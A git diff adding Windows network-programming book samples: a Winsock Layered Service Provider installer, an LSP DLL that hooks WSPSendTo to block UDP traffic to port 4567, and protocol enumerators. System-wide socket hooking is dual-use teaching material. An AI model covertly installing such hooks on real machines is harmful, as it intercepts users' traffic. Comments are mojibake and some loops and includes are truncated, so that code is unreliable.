/Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /FR /YX /FD /GZ /c +# ADD BASE RSC /l 0x804 /d "_DEBUG" +# ADD RSC /l 0x804 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept + +!ENDIF + +# Begin Target + +# Name "InstDemo - Win32 Release" +# Name "InstDemo - Win32 Debug" +# Begin Group "Source Files" + +# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" +# Begin Source File + +SOURCE=.\InstDemo.cpp +# End Source File +# End Group +# Begin Group "Header Files" + +# PROP Default_Filter "h;hpp;hxx;hm;inl" +# End Group +# Begin Group "Resource Files" + +# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" +# End Group +# End Target +# End Project diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/InstDemo/InstDemo.dsw" "b/Project/Network and Communication/\347\254\2547\347\253\240/InstDemo/InstDemo.dsw" new file mode 100644 index 0000000..a9eedf7 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2547\347\253\240/InstDemo/InstDemo.dsw" @@ -0,0 +1,29 @@ +Microsoft Developer Studio Workspace File, Format Version 6.00 +# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! + +############################################################################### + +Project: "InstDemo"=".\InstDemo.dsp" - Package Owner=<4> + +Package=<5> +{{{ +}}} + +Package=<4> +{{{ +}}} + +############################################################################### + +Global: + +Package=<5> +{{{ +}}} + +Package=<3> +{{{ +}}} + +############################################################################### + diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/InstDemo/LSP.dll" "b/Project/Network and Communication/\347\254\2547\347\253\240/InstDemo/LSP.dll" new file mode 100644 index 0000000..2c65259 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2547\347\253\240/InstDemo/LSP.dll" differ diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/InstDemo/_desktop.ini" "b/Project/Network and Communication/\347\254\2547\347\253\240/InstDemo/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2547\347\253\240/InstDemo/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/InstLSP/InstLSP.cpp" "b/Project/Network and Communication/\347\254\2547\347\253\240/InstLSP/InstLSP.cpp" new file mode 100644 index 0000000..8a9ccc4 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2547\347\253\240/InstLSP/InstLSP.cpp" @@ -0,0 +1,270 @@ +////////////////////////////////////////////////////////////// +// InstLSP.cppÎļþ + +// °üº¬ÁË°²×°LSPµÄ´úÂë + +// InstallProvider(WCHAR *pwszPathName) ½«Ö¸¶¨LSPÌṩÕß°²×°µ½TCP UDP ºÍԭʼÌ×½Ú×ÖÖ®ÉÏ +// RemoveProvider() ÒƳýInstallProviderº¯Êý°²×°µÄLSP + +#define UNICODE +#define _UNICODE + +#include +#include // ¶¨ÒåÁËWSCWriteProviderOrderº¯Êý + +#include +#include + +#pragma comment(lib, "Ws2_32.lib") +#pragma comment(lib, "Rpcrt4.lib") // ʵÏÖÁËUuidCreateº¯Êý + + +// Òª°²×°µÄLSPµÄÓ²±àÂ룬ÔÚÒƳýµÄʱºò»¹ÒªÊ¹ÓÃËü +GUID ProviderGuid = {0xd3c21122, 0x85e1, 0x48f3, + {0x9a,0xb6,0x23,0xd9,0x0c,0x73,0x07,0xef}}; + + + +LPWSAPROTOCOL_INFOW GetProvider(LPINT lpnTotalProtocols) +{ + DWORD dwSize = 0; + int nError; + LPWSAPROTOCOL_INFOW pProtoInfo = NULL; + + // È¡µÃÐèÒªµÄ³¤¶È + if(::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError) == SOCKET_ERROR) + { + if(nError != WSAENOBUFS) + return NULL; + } + + pProtoInfo = (LPWSAPROTOCOL_INFOW)::GlobalAlloc(GPTR, dwSize); + *lpnTotalProtocols = ::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError); + return pProtoInfo; +} + +void FreeProvider(LPWSAPROTOCOL_INFOW pProtoInfo) +{ + ::GlobalFree(pProtoInfo); +} + +BOOL InstallProvider(WCHAR *pwszPathName) +{ + WCHAR wszLSPName[] = L"PhoenixLSP"; + LPWSAPROTOCOL_INFOW pProtoInfo; + int nProtocols; + WSAPROTOCOL_INFOW OriginalProtocolInfo[3]; + DWORD dwOrigCatalogId[3]; + int nArrayCount = 0; + + DWORD dwLayeredCatalogId; // ÎÒÃÇ·Ö²ãЭÒéµÄĿ¼IDºÅ + + int nError; + + // ÕÒµ½ÎÒÃǵÄϲãЭÒ飬½«ÐÅÏ¢·ÅÈëÊý×éÖÐ + // ö¾ÙËùÓзþÎñ³ÌÐòÌṩÕß + pProtoInfo = GetProvider(&nProtocols); + BOOL bFindUdp = FALSE; + BOOL bFindTcp = FALSE; + BOOL bFindRaw = FALSE; + int i=0; + for(i; i0; j--) + { + OriginalProtocolInfo[i].ProtocolChain.ChainEntries[j] + = OriginalProtocolInfo[i].ProtocolChain.ChainEntries[j-1]; + } + } + OriginalProtocolInfo[i].ProtocolChain.ChainLen ++; + OriginalProtocolInfo[i].ProtocolChain.ChainEntries[0] = dwLayeredCatalogId; + } + // »ñÈ¡Ò»¸öGuid£¬°²×°Ö® + GUID ProviderChainGuid; + if(::UuidCreate(&ProviderChainGuid) == RPC_S_OK) + { + if(::WSCInstallProvider(&ProviderChainGuid, + pwszPathName, OriginalProtocolInfo, nArrayCount, &nError) == SOCKET_ERROR) + { + return FALSE; + } + } + else + return FALSE; + + // ÖØÐÂÅÅÐòWinsockĿ¼£¬½«ÎÒÃǵÄЭÒéÁ´ÌáÇ° + // ÖØÐÂö¾Ù°²×°µÄЭÒé + FreeProvider(pProtoInfo); + pProtoInfo = GetProvider(&nProtocols); + + DWORD dwIds[20]; + int nIndex = 0; + // Ìí¼ÓÎÒÃǵÄЭÒéÁ´ + for(i=0; i 1) && + (pProtoInfo[i].ProtocolChain.ChainEntries[0] == dwLayeredCatalogId)) + dwIds[nIndex++] = pProtoInfo[i].dwCatalogEntryId; + } + // Ìí¼ÓÆäËüЭÒé + for(i=0; i 1) && + (pProtoInfo[i].ProtocolChain.ChainEntries[0] == dwLayeredCatalogId)) + { + ::WSCDeinstallProvider(&pProtoInfo[i].ProviderId, &nError); + } + } + // ÒƳý·Ö²ãЭÒé + ::WSCDeinstallProvider(&ProviderGuid, &nError); + } + + return TRUE; +} + + +void main(int argc, char *argv[]) +{ + if(argc==2) + { + if(strcmp(argv[1], "-install")==0) + { + TCHAR szPathName[256]; + TCHAR* p; + + if(::GetFullPathName(L"LSP.dll", 256, szPathName, &p) != 0) + { + if(InstallProvider(szPathName)) + { + printf(" Install successully. \n"); + return; + } + } + printf(" Install failed. \n"); + return; + } + else if(strcmp(argv[1],"-remove")==0) + { + if(RemoveProvider()) + printf(" Deinstall successully. \n"); + else + printf(" Deinstall failed. \n"); + return; + } + } + + printf(" Usage: Instlsp [ -install ©¦ -remove ] \n"); +} diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/InstLSP/InstLSP.sln" "b/Project/Network and Communication/\347\254\2547\347\253\240/InstLSP/InstLSP.sln" new file mode 100644 index 0000000..dfe5894 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2547\347\253\240/InstLSP/InstLSP.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InstLSP", "InstLSP.vcproj", "{5A728435-80FD-4E6B-B9AA-A60499982642}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {5A728435-80FD-4E6B-B9AA-A60499982642}.Debug|Win32.ActiveCfg = Debug|Win32 + {5A728435-80FD-4E6B-B9AA-A60499982642}.Debug|Win32.Build.0 = Debug|Win32 + {5A728435-80FD-4E6B-B9AA-A60499982642}.Release|Win32.ActiveCfg = Release|Win32 + {5A728435-80FD-4E6B-B9AA-A60499982642}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/InstLSP/InstLSP.suo" "b/Project/Network and Communication/\347\254\2547\347\253\240/InstLSP/InstLSP.suo" new file mode 100644 index 0000000..3adf36d Binary files /dev/null and "b/Project/Network and Communication/\347\254\2547\347\253\240/InstLSP/InstLSP.suo" differ diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/InstLSP/InstLSP.vcproj" "b/Project/Network and Communication/\347\254\2547\347\253\240/InstLSP/InstLSP.vcproj" new file mode 100644 index 0000000..a272c16 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2547\347\253\240/InstLSP/InstLSP.vcproj" @@ -0,0 +1,236 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/InstLSP/_desktop.ini" "b/Project/Network and Communication/\347\254\2547\347\253\240/InstLSP/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2547\347\253\240/InstLSP/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/LSP/Debug.h" "b/Project/Network and Communication/\347\254\2547\347\253\240/LSP/Debug.h" new file mode 100644 index 0000000..2f1d57d --- /dev/null +++ "b/Project/Network and Communication/\347\254\2547\347\253\240/LSP/Debug.h" @@ -0,0 +1,31 @@ +//////////////////////////////////////////// +// Debug.h + + + +#ifndef __DEBUG_H__ +#define __DEBUG_H__ + + +#ifdef _DEBUG + + #define ODS(szOut) \ + { \ + OutputDebugString(szOut); \ + } + + #define ODS1(szOut, var) \ + { \ + TCHAR sz[1024]; \ + _stprintf(sz, szOut, var); \ + OutputDebugString(sz); \ + } + +#else + + #define ODS(szOut) + #define ODS1(szOut, var) + +#endif // _DEBUG + +#endif // __DEBUG_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/LSP/LSP.cpp" "b/Project/Network and Communication/\347\254\2547\347\253\240/LSP/LSP.cpp" new file mode 100644 index 0000000..1402712 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2547\347\253\240/LSP/LSP.cpp" @@ -0,0 +1,197 @@ +////////////////////////////////////////////////// +// LSP.cppÎļþ + + +// ÉùÃ÷ҪʹÓÃUNICODE×Ö·û´® +#define UNICODE +#define _UNICODE + +#include +#include +#include +#include +#include "Debug.h" + +#pragma comment(lib, "Ws2_32.lib") + + + +WSPUPCALLTABLE g_pUpCallTable; // Éϲ㺯ÊýÁÐ±í¡£Èç¹ûLSP´´½¨ÁË×Ô¼ºµÄα¾ä±ú£¬²ÅʹÓÃÕâ¸öº¯ÊýÁбí +WSPPROC_TABLE g_NextProcTable; // ϲ㺯ÊýÁбí +TCHAR g_szCurrentApp[MAX_PATH]; // µ±Ç°µ÷Óñ¾DLLµÄ³ÌÐòµÄÃû³Æ + + +BOOL APIENTRY DllMain( HANDLE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + { + // È¡µÃÖ÷Ä£¿éµÄÃû³Æ + ::GetModuleFileName(NULL, g_szCurrentApp, MAX_PATH); + } + break; + } + return TRUE; +} + + +LPWSAPROTOCOL_INFOW GetProvider(LPINT lpnTotalProtocols) +{ + DWORD dwSize = 0; + int nError; + LPWSAPROTOCOL_INFOW pProtoInfo = NULL; + + // È¡µÃÐèÒªµÄ³¤¶È + if(::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError) == SOCKET_ERROR) + { + if(nError != WSAENOBUFS) + return NULL; + } + + pProtoInfo = (LPWSAPROTOCOL_INFOW)::GlobalAlloc(GPTR, dwSize); + *lpnTotalProtocols = ::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError); + return pProtoInfo; +} + +void FreeProvider(LPWSAPROTOCOL_INFOW pProtoInfo) +{ + ::GlobalFree(pProtoInfo); +} + + + +int WSPAPI WSPSendTo( + SOCKET s, + LPWSABUF lpBuffers, + DWORD dwBufferCount, + LPDWORD lpNumberOfBytesSent, + DWORD dwFlags, + const struct sockaddr FAR * lpTo, + int iTolen, + LPWSAOVERLAPPED lpOverlapped, + LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine, + LPWSATHREADID lpThreadId, + LPINT lpErrno +) +{ + ODS1(L" query send to... %s", g_szCurrentApp); + + // ¾Ü¾øËùÓÐÄ¿µÄ¶Ë¿ÚΪ4567µÄUDP·â°ü + SOCKADDR_IN sa = *(SOCKADDR_IN*)lpTo; + if(sa.sin_port == htons(4567)) + { + int iError; + g_NextProcTable.lpWSPShutdown(s, SD_BOTH, &iError); + *lpErrno = WSAECONNABORTED; + + ODS(L" deny a sendto "); + return SOCKET_ERROR; + } + + return g_NextProcTable.lpWSPSendTo(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpTo + , iTolen, lpOverlapped, lpCompletionRoutine, lpThreadId, lpErrno); + +} + + +int WSPAPI WSPStartup( + WORD wVersionRequested, + LPWSPDATA lpWSPData, + LPWSAPROTOCOL_INFO lpProtocolInfo, + WSPUPCALLTABLE UpcallTable, + LPWSPPROC_TABLE lpProcTable +) +{ + ODS1(L" WSPStartup... %s \n", g_szCurrentApp); + + if(lpProtocolInfo->ProtocolChain.ChainLen <= 1) + { + return WSAEPROVIDERFAILEDINIT; + } + + // ±£´æÏòÉϵ÷Óõĺ¯Êý±íÖ¸Õ루ÕâÀïÎÒÃDz»Ê¹ÓÃËü£© + g_pUpCallTable = UpcallTable; + + // ö¾ÙЭÒ飬ÕÒµ½Ï²ãЭÒéµÄWSAPROTOCOL_INFOW½á¹¹ + WSAPROTOCOL_INFOW NextProtocolInfo; + int nTotalProtos; + LPWSAPROTOCOL_INFOW pProtoInfo = GetProvider(&nTotalProtos); + // ϲãÈë¿ÚID + DWORD dwBaseEntryId = lpProtocolInfo->ProtocolChain.ChainEntries[1]; + int i=0; + for(i; i= nTotalProtos) + { + ODS(L" WSPStartup: Can not find underlying protocol \n"); + return WSAEPROVIDERFAILEDINIT; + } + + // ¼ÓÔØϲãЭÒéµÄDLL + int nError; + TCHAR szBaseProviderDll[MAX_PATH]; + int nLen = MAX_PATH; + // È¡µÃϲãÌṩ³ÌÐòDLL·¾¶ + if(::WSCGetProviderPath(&NextProtocolInfo.ProviderId, szBaseProviderDll, &nLen, &nError) == SOCKET_ERROR) + { + ODS1(L" WSPStartup: WSCGetProviderPath() failed %d \n", nError); + return WSAEPROVIDERFAILEDINIT; + } + if(!::ExpandEnvironmentStrings(szBaseProviderDll, szBaseProviderDll, MAX_PATH)) + { + ODS1(L" WSPStartup: ExpandEnvironmentStrings() failed %d \n", ::GetLastError()); + return WSAEPROVIDERFAILEDINIT; + } + // ¼ÓÔØϲãÌṩ³ÌÐò + HMODULE hModule = ::LoadLibrary(szBaseProviderDll); + if(hModule == NULL) + { + ODS1(L" WSPStartup: LoadLibrary() failed %d \n", ::GetLastError()); + return WSAEPROVIDERFAILEDINIT; + } + + // µ¼ÈëϲãÌṩ³ÌÐòµÄWSPStartupº¯Êý + LPWSPSTARTUP pfnWSPStartup = NULL; + pfnWSPStartup = (LPWSPSTARTUP)::GetProcAddress(hModule, "WSPStartup"); + if(pfnWSPStartup == NULL) + { + ODS1(L" WSPStartup: GetProcAddress() failed %d \n", ::GetLastError()); + return WSAEPROVIDERFAILEDINIT; + } + + // µ÷ÓÃϲãÌṩ³ÌÐòµÄWSPStartupº¯Êý + LPWSAPROTOCOL_INFOW pInfo = lpProtocolInfo; + if(NextProtocolInfo.ProtocolChain.ChainLen == BASE_PROTOCOL) + pInfo = &NextProtocolInfo; + + int nRet = pfnWSPStartup(wVersionRequested, lpWSPData, pInfo, UpcallTable, lpProcTable); + if(nRet != ERROR_SUCCESS) + { + ODS1(L" WSPStartup: underlying provider's WSPStartup() failed %d \n", nRet); + return nRet; + } + + // ±£´æϲãÌṩÕߵĺ¯Êý±í + g_NextProcTable = *lpProcTable; + + // Ð޸Ĵ«µÝ¸øÉϲãµÄº¯Êý±í£¬Hook¸ÐÐËȤµÄº¯Êý£¬ÕâÀï×öΪʾÀý£¬½öHookÁËWSPSendToº¯Êý + // Äú»¹¿ÉÒÔHookÆäËüº¯Êý£¬ÈçWSPSocket¡¢WSPCloseSocket¡¢WSPConnectµÈ + lpProcTable->lpWSPSendTo = WSPSendTo; + + FreeProvider(pProtoInfo); + return nRet; +} + + + + diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/LSP/LSP.def" "b/Project/Network and Communication/\347\254\2547\347\253\240/LSP/LSP.def" new file mode 100644 index 0000000..b5197aa --- /dev/null +++ "b/Project/Network and Communication/\347\254\2547\347\253\240/LSP/LSP.def" @@ -0,0 +1,4 @@ + +EXPORTS + WSPStartup + diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/LSP/LSP.sln" "b/Project/Network and Communication/\347\254\2547\347\253\240/LSP/LSP.sln" new file mode 100644 index 0000000..c356fad --- /dev/null +++ "b/Project/Network and Communication/\347\254\2547\347\253\240/LSP/LSP.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "LSP", "LSP.vcproj", "{A95A951D-60F6-4FA6-95C1-2E5147360D6D}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {A95A951D-60F6-4FA6-95C1-2E5147360D6D}.Debug|Win32.ActiveCfg = Debug|Win32 + {A95A951D-60F6-4FA6-95C1-2E5147360D6D}.Debug|Win32.Build.0 = Debug|Win32 + {A95A951D-60F6-4FA6-95C1-2E5147360D6D}.Release|Win32.ActiveCfg = Release|Win32 + {A95A951D-60F6-4FA6-95C1-2E5147360D6D}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/LSP/LSP.suo" "b/Project/Network and Communication/\347\254\2547\347\253\240/LSP/LSP.suo" new file mode 100644 index 0000000..d25678b Binary files /dev/null and "b/Project/Network and Communication/\347\254\2547\347\253\240/LSP/LSP.suo" differ diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/LSP/LSP.vcproj" "b/Project/Network and Communication/\347\254\2547\347\253\240/LSP/LSP.vcproj" new file mode 100644 index 0000000..9685225 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2547\347\253\240/LSP/LSP.vcproj" @@ -0,0 +1,255 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/LSP/_desktop.ini" "b/Project/Network and Communication/\347\254\2547\347\253\240/LSP/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2547\347\253\240/LSP/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/WSAEnumProtocols/WSAEnumProtocols.cpp" "b/Project/Network and Communication/\347\254\2547\347\253\240/WSAEnumProtocols/WSAEnumProtocols.cpp" new file mode 100644 index 0000000..a668dd4 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2547\347\253\240/WSAEnumProtocols/WSAEnumProtocols.cpp" @@ -0,0 +1,51 @@ +///////////////////////////////////////////////////////// +// WSAEnumProtocols.cppÎļþ + +#include "..\common\initsock.h" +#include +#include + +LPWSAPROTOCOL_INFO GetProvider(LPINT lpnTotalProtocols) +{ + DWORD dwSize = 0; + LPWSAPROTOCOL_INFO pProtoInfo = NULL; + + // È¡µÃÐèÒªµÄ»º³åÇø³¤¶È + if(::WSAEnumProtocols(NULL, pProtoInfo, &dwSize) == SOCKET_ERROR) + { + if(::WSAGetLastError() != WSAENOBUFS) + return NULL; + } + + // ÉêÇ뻺³åÇø£¬Ôٴε÷ÓÃWSAEnumProtocolsº¯Êý + pProtoInfo = (LPWSAPROTOCOL_INFO)::GlobalAlloc(GPTR, dwSize); + *lpnTotalProtocols = ::WSAEnumProtocols(NULL, pProtoInfo, &dwSize); + return pProtoInfo; +} + +void FreeProvider(LPWSAPROTOCOL_INFO pProtoInfo) +{ + ::GlobalFree(pProtoInfo); +} + +CInitSock theSock; + +void main() +{ + int nTotalProtocols; + LPWSAPROTOCOL_INFO pProtoInfo = GetProvider(&nTotalProtocols); + if(pProtoInfo != NULL) + { + // ´òÓ¡³ö¸÷¸öÌṩÕßµÄЭÒéÐÅÏ¢ + for(int i=0; i + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/WSAEnumProtocols/_desktop.ini" "b/Project/Network and Communication/\347\254\2547\347\253\240/WSAEnumProtocols/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2547\347\253\240/WSAEnumProtocols/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/WSCEnumProtocols/WSCEnumProtocols.cpp" "b/Project/Network and Communication/\347\254\2547\347\253\240/WSCEnumProtocols/WSCEnumProtocols.cpp" new file mode 100644 index 0000000..e1b6a7a --- /dev/null +++ "b/Project/Network and Communication/\347\254\2547\347\253\240/WSCEnumProtocols/WSCEnumProtocols.cpp" @@ -0,0 +1,50 @@ +/////////////////////////////////////////////////////////// +// WSCEnumProtocols.cppÎļþ + + +#include // SPIº¯Êý¶¨ÒåÔÚWs2spi.hÎļþÖÐ +#include +#include +#pragma comment(lib, "WS2_32") // Á´½Óµ½WS2_32.lib + +LPWSAPROTOCOL_INFOW GetProvider(LPINT lpnTotalProtocols) +{ + int nError; + DWORD dwSize = 0; + LPWSAPROTOCOL_INFOW pProtoInfo = NULL; + + // È¡µÃÐèÒªµÄ»º³åÇø³¤¶È + if(::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError) == SOCKET_ERROR) + { + if(nError != WSAENOBUFS) + return NULL; + } + // ÉêÇ뻺³åÇø£¬Ôٴε÷ÓÃWSCEnumProtocolsº¯Êý + pProtoInfo = (LPWSAPROTOCOL_INFOW)::GlobalAlloc(GPTR, dwSize); + *lpnTotalProtocols = ::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError); + return pProtoInfo; +} + +void FreeProvider(LPWSAPROTOCOL_INFOW pProtoInfo) +{ + ::GlobalFree(pProtoInfo); +} + +void main() +{ + LPWSAPROTOCOL_INFOW pProtoInfo; + int nProtocols; + pProtoInfo = GetProvider(&nProtocols); + + for(int i=0; i + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/WSCEnumProtocols/_desktop.ini" "b/Project/Network and Communication/\347\254\2547\347\253\240/WSCEnumProtocols/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2547\347\253\240/WSCEnumProtocols/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/_desktop.ini" "b/Project/Network and Communication/\347\254\2547\347\253\240/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2547\347\253\240/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/common/Debug.h" "b/Project/Network and Communication/\347\254\2547\347\253\240/common/Debug.h" new file mode 100644 index 0000000..87a3266 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2547\347\253\240/common/Debug.h" @@ -0,0 +1,32 @@ +//////////////////////////////////////////// +// Debug.hÎļþ + +// µ÷ÊÔÖ§³Ö + + +#ifndef __DEBUG_H__ +#define __DEBUG_H__ + + +#ifdef _DEBUG + + #define ODS(szOut) \ + { \ + OutputDebugString(szOut); \ + } + + #define ODS1(szOut, var) \ + { \ + TCHAR sz[1024]; \ + _stprintf(sz, szOut, var); \ + OutputDebugString(sz); \ + } + +#else + + #define ODS(szOut) + #define ODS1(szOut, var) + +#endif // _DEBUG + +#endif // __DEBUG_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/common/_desktop.ini" "b/Project/Network and Communication/\347\254\2547\347\253\240/common/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2547\347\253\240/common/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/common/comm.cpp" "b/Project/Network and Communication/\347\254\2547\347\253\240/common/comm.cpp" new file mode 100644 index 0000000..aed2ef8 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2547\347\253\240/common/comm.cpp" @@ -0,0 +1,42 @@ +////////////////////////////////////////////////// +// comm.cppÎļþ + + +#include +#include +#include "Ws2tcpip.h" + +#include "comm.h" + + +USHORT checksum(USHORT* buff, int size) +{ + unsigned long cksum = 0; + while(size>1) + { + cksum += *buff++; + size -= sizeof(USHORT); + } + // ÊÇÆæÊý + if(size) + { + cksum += *(UCHAR*)buff; + } + // ½«32λµÄchsum¸ß16λºÍµÍ16λÏà¼Ó£¬È»ºóÈ¡·´ + cksum = (cksum >> 16) + (cksum & 0xffff); + cksum += (cksum >> 16); + return (USHORT)(~cksum); +} + +BOOL SetTTL(SOCKET s, int nValue) +{ + int ret = ::setsockopt(s, IPPROTO_IP, IP_TTL, (char*)&nValue, sizeof(nValue)); + return ret != SOCKET_ERROR; +} + +BOOL SetTimeout(SOCKET s, int nTime, BOOL bRecv) +{ + int ret = ::setsockopt(s, SOL_SOCKET, + bRecv ? SO_RCVTIMEO : SO_SNDTIMEO, (char*)&nTime, sizeof(nTime)); + return ret != SOCKET_ERROR; +} diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/common/comm.h" "b/Project/Network and Communication/\347\254\2547\347\253\240/common/comm.h" new file mode 100644 index 0000000..a3b5372 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2547\347\253\240/common/comm.h" @@ -0,0 +1,21 @@ +////////////////////////////////////////////////// +// comm.hÎļþ + +// °üº¬Ò»Ð©¹«¹²º¯Êý + + + +#ifndef __COMM_H__ +#define __COMM_H__ + + +// УÑéºÍµÄ¼ÆËã +// ÒÔ16λµÄ×ÖΪµ¥Î»½«»º³åÇøµÄÄÚÈÝÏà¼Ó£¬Èç¹û»º³åÇø³¤¶ÈΪÆæÊý£¬ +// ÔòÔÙ¼ÓÉÏÒ»¸ö×Ö½Ú¡£ËüÃǵĺʹæÈëÒ»¸ö32λµÄË«×ÖÖÐ +USHORT checksum(USHORT* buff, int size); + +BOOL SetTTL(SOCKET s, int nValue); +BOOL SetTimeout(SOCKET s, int nTime, BOOL bRecv = TRUE); + + +#endif // __COMM_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/common/initsock.h" "b/Project/Network and Communication/\347\254\2547\347\253\240/common/initsock.h" new file mode 100644 index 0000000..f73bea7 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2547\347\253\240/common/initsock.h" @@ -0,0 +1,24 @@ +////////////////////////////////////////////////////////// +// initsock.hÎļþ + +#include +#pragma comment(lib, "WS2_32") // Á´½Óµ½WS2_32.lib + +class CInitSock +{ +public: + CInitSock(BYTE minorVer = 2, BYTE majorVer = 2) + { + // ³õʼ»¯WS2_32.dll + WSADATA wsaData; + WORD sockVersion = MAKEWORD(minorVer, majorVer); + if(::WSAStartup(sockVersion, &wsaData) != 0) + { + exit(0); + } + } + ~CInitSock() + { + ::WSACleanup(); + } +}; diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/common/protoinfo.h" 